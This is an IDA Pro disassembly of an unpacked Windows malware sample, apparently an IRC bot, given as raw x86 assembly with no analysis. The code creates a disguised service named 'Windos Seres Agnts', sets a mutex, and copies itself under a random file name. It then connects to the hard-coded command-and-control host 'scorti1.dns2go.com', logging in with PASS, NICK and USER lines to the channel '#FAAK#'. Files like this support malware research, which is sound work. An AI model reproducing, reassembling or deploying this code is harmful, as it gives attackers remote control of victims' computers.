;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 435C9D8B84269C79EE40993180EE7892
; File Name : u:\work\435c9d8b84269c79ee40993180ee7892_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DE000 ( 909312.)
; Section size in file : 000DE000 ( 909312.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00401579p
; sub_4188A6+1Ep
; DATA XREF: ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindosSeresAgn ; "Windos Seres Agnts"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB988
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CB9F8
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB938
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB9B0
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427220[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:004169EAp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BEB5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41BEA2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41BBE2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41BAFA
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41BA91
push edi
call sub_41BA3B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: ___:00401235o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E91C
call dword_4CBA6C
call sub_40B583
call dword_4CB92C
call dword_4CB92C
mov ebx, dword_427080
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43DB88
mov [ebp+var_28], 1
mov [ebp+var_24], di
nop
call near ptr 26709F6h
lea eax, [ebp+var_158]
push esi
push eax
push edi
call near ptr 2670000h
nop
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 2660B67h
nop
test eax, eax
jz short loc_4011E2
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_427070
call esi
push [ebp+var_C]
call esi
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43DB80
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: ___:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418BD1
pop ecx
mov dword_4CB710, eax
pop ecx
retn
sub_40111D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40111D
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270B0
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB714, eax
call esi
push eax
call sub_41C2B8
pop ecx
call sub_409909
push 2
call dword_4CBA80
push 7530h
push offset aSbrsfgf ; "sbrsfgf"
push ebx
push ebx
nop
call near ptr 2690262h
push eax
nop
call near ptr 26901A5h
cmp eax, 102h
jnz short loc_4012A1
push 1
call near ptr 77E75CB5h
nop
loc_4012A1: ; CODE XREF: ___:00401297j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4CB944
cmp eax, ebx
jnz loc_4017E4
cmp byte ptr [ebp-884h], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
nop
call near ptr 26709F6h
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
call near ptr 2690000h
nop
push eax
nop
call near ptr 2670000h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_41C3B1
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset dword_429AC8
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41C360
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_41C2E0
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_429108
jz short loc_40139C
push esi
xor edi, edi
call sub_41B9C0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: ___:0040139Aj
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429108[edi], dl
inc edi
call sub_41B9C0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: ___:00401369j
; ___:00401377j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_429AC0
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp-1E8h]
push eax
call near ptr 2680E33h
nop
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp-1E8h]
push 80h
push eax
nop
call near ptr 2680D6Ah
loc_4013DC: ; CODE XREF: ___:004013C8j
mov esi, dword_427098
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: ___:0040142Aj
call esi
test eax, eax
jnz short loc_40142C
nop
call near ptr 2680972h
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: ___:00401406j
push 1
pop edi
push 3A98h
nop
call near ptr 2670E97h
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: ___:004013F7j
; ___:00401401j ...
lea eax, [ebp-1E8h]
push eax
call sub_4187E0
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
call near ptr 2680D6Ah
nop
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_41BF70
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_41BF70
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset byte_43DB88
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
nop
call near ptr 2680918h
push eax
push esi
push 100000h
loc_401495: ; DATA XREF: ___:off_433094o
nop
call near ptr 26802EFh
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_429AB4
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 2660B67h
test eax, eax
jz short loc_401516
push 0C8h
call near ptr 2670E97h
nop
push dword ptr [ebp-20h]
mov esi, dword_427070
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4CB92C
push ebx
nop
call near ptr 77E75CB5h
loc_401516: ; CODE XREF: ___:00401358j
; ___:004014ECj
cmp dword_4DBDF8, 2
jle short loc_401562
mov eax, dword_4DBDFC
push dword ptr [eax+4]
call sub_41C159
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 26901A5h
push esi
nop
call near ptr 26608D5h
mov eax, dword_4DBDFC
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
nop
call near ptr 2670E97h
mov eax, dword_4DBDFC
push dword ptr [eax+8]
nop
call near ptr 26801F9h
loc_401562: ; CODE XREF: ___:0040151Dj
; ___:00401547j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CBAA4, ebx
jnz short loc_40157F
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: ___:00401568j
; ___:00401570j
lea eax, [ebp-0A0h]
push offset dword_429A98
push eax
call sub_41C266
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40B3BA
lea eax, [ebp-0A0h]
push eax
call sub_415D38
push 0B80h
push ebx
push offset dword_43DB90
call sub_41BF70
add esp, 24h
lea eax, [ebp-0A0h]
push offset unk_429A74
push eax
call sub_41C266
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
mov edi, dword_427084
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset byte_419F4D
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_401622
nop
call near ptr 2680972h
push eax
lea eax, [ebp-0A0h]
push offset unk_429A34
push eax
call sub_41C266
add esp, 0Ch
loc_401622: ; CODE XREF: ___:00401605j
lea eax, [ebp-0A0h]
push eax
call sub_415D38
push 2
call sub_40B602
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp-0A0h]
push offset dword_429A08
push eax
call sub_41C266
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_410BFD
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_40169A
nop
call near ptr 2680972h
push eax
lea eax, [ebp-0A0h]
push offset dword_4299D4
push eax
call sub_41C266
add esp, 0Ch
loc_40169A: ; CODE XREF: ___:0040167Dj
lea eax, [ebp-0A0h]
push eax
call sub_415D38
pop ecx
loc_4016A7: ; CODE XREF: ___:00401639j
call sub_41C2C2
push 7Fh
and eax, 3
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CB71C
mov dword_4CB888, eax
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CB79C
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
mov esi, offset dword_4CB7DC
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov dword_4CB870, ebx
loc_4016FC: ; CODE XREF: ___:00401784j
; ___:0040178Fj ...
mov [ebp-4], ebx
loc_4016FF: ; CODE XREF: ___:00401738j
push offset dword_4CB718
mov dword_4CB884, ebx
call sub_4017ED
cmp eax, 2
mov [ebp-10h], eax
jz loc_4017D9
cmp dword_4CB884, ebx
jz short loc_401726
dec dword ptr [ebp-4]
loc_401726: ; CODE XREF: ___:00401721j
push 0BB8h
call near ptr 2670E97h
nop
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_4016FF
cmp dword ptr [ebp-10h], 2
jz loc_4017D9
cmp [ebp-0Ch], ebx
jz short loc_401789
push 7Fh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CB71C
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: ___:00401747j
cmp byte_4290E4, bl
jz loc_4016FC
push 7Fh
push offset byte_4290E4
push offset dword_4CB71C
call sub_41BFD0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: ___:00401715j
; ___:0040173Ej
call sub_40B583
loc_4017DE: ; CODE XREF: ___:004012C2j
; ___:004012D2j
call dword_4CB92C
loc_4017E4: ; CODE XREF: ___:004012B5j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: ___:0040170Ap
; DATA XREF: sub_401ACD+654Co
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CB9D4
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A8F0
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40AE84
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43E928
push edi
push eax
call sub_41BFD0
add esp, 28h
push 6
push 1
push 2
call dword_4CBA54
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E91C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CBA6C
call sub_40A919
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
nop
call near ptr 2670E97h
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_429AD0
call sub_415DAC
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CBA6C
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B6D6
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41C500
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB880, bl
jz short loc_40199A
push offset byte_4CB880
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409823
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CBA6C
push 1388h
nop
call near ptr 2670E97h
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_4184CC
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
nop
call near ptr 2670E97h
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_568C = byte ptr -568Ch
var_528C = byte ptr -528Ch
var_50FC = byte ptr -50FCh
var_4FF8 = byte ptr -4FF8h
var_4EF8 = byte ptr -4EF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
var_4AF4 = byte ptr -4AF4h
var_49F4 = byte ptr -49F4h
var_48F0 = byte ptr -48F0h
var_47F0 = byte ptr -47F0h
var_46F0 = byte ptr -46F0h
var_45F0 = byte ptr -45F0h
var_458C = byte ptr -458Ch
var_448C = byte ptr -448Ch
var_438C = byte ptr -438Ch
var_428C = byte ptr -428Ch
var_408C = byte ptr -408Ch
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E04 = byte ptr -3E04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = byte ptr -3CE8h
var_3C68 = byte ptr -3C68h
var_3BE8 = byte ptr -3BE8h
var_3B68 = byte ptr -3B68h
var_3AE8 = byte ptr -3AE8h
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = byte ptr -3A58h
var_37D1 = byte ptr -37D1h
var_37D0 = byte ptr -37D0h
var_36CC = dword ptr -36CCh
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B0 = dword ptr -36B0h
var_36AC = dword ptr -36ACh
var_36A8 = byte ptr -36A8h
var_3628 = byte ptr -3628h
var_35A8 = byte ptr -35A8h
var_3528 = byte ptr -3528h
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = byte ptr -3494h
var_3414 = byte ptr -3414h
var_3394 = byte ptr -3394h
var_3314 = byte ptr -3314h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = byte ptr -3280h
var_3200 = byte ptr -3200h
var_3180 = byte ptr -3180h
var_3100 = byte ptr -3100h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = byte ptr -306Ch
var_2FEC = byte ptr -2FECh
var_2F6C = byte ptr -2F6Ch
var_2EEC = byte ptr -2EECh
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = byte ptr -2E5Ch
var_2D58 = dword ptr -2D58h
var_2D54 = byte ptr -2D54h
var_2C50 = byte ptr -2C50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = byte ptr -2B40h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AAC = byte ptr -2AACh
var_2994 = byte ptr -2994h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = byte ptr -28FCh
var_287C = byte ptr -287Ch
var_277C = byte ptr -277Ch
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = byte ptr -2654h
var_25D4 = byte ptr -25D4h
var_24D4 = byte ptr -24D4h
var_23D4 = dword ptr -23D4h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = byte ptr -23ACh
var_232C = byte ptr -232Ch
var_22AC = byte ptr -22ACh
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = byte ptr -2218h
var_2198 = byte ptr -2198h
var_2118 = byte ptr -2118h
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = byte ptr -2084h
var_2004 = byte ptr -2004h
var_1F84 = byte ptr -1F84h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = byte ptr -1EF0h
var_1DF0 = byte ptr -1DF0h
var_1D70 = dword ptr -1D70h
var_1D68 = dword ptr -1D68h
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D4C = byte ptr -1D4Ch
var_1D38 = byte ptr -1D38h
var_1C34 = byte ptr -1C34h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B98 = byte ptr -1B98h
var_1B84 = byte ptr -1B84h
var_1A80 = byte ptr -1A80h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = byte ptr -19E8h
var_1968 = byte ptr -1968h
var_1928 = byte ptr -1928h
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = byte ptr -180Ch
var_17D4 = byte ptr -17D4h
var_17B8 = byte ptr -17B8h
var_1780 = byte ptr -1780h
var_177C = byte ptr -177Ch
var_16FC = byte ptr -16FCh
var_16BC = byte ptr -16BCh
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = byte ptr -1618h
var_1598 = byte ptr -1598h
var_1518 = dword ptr -1518h
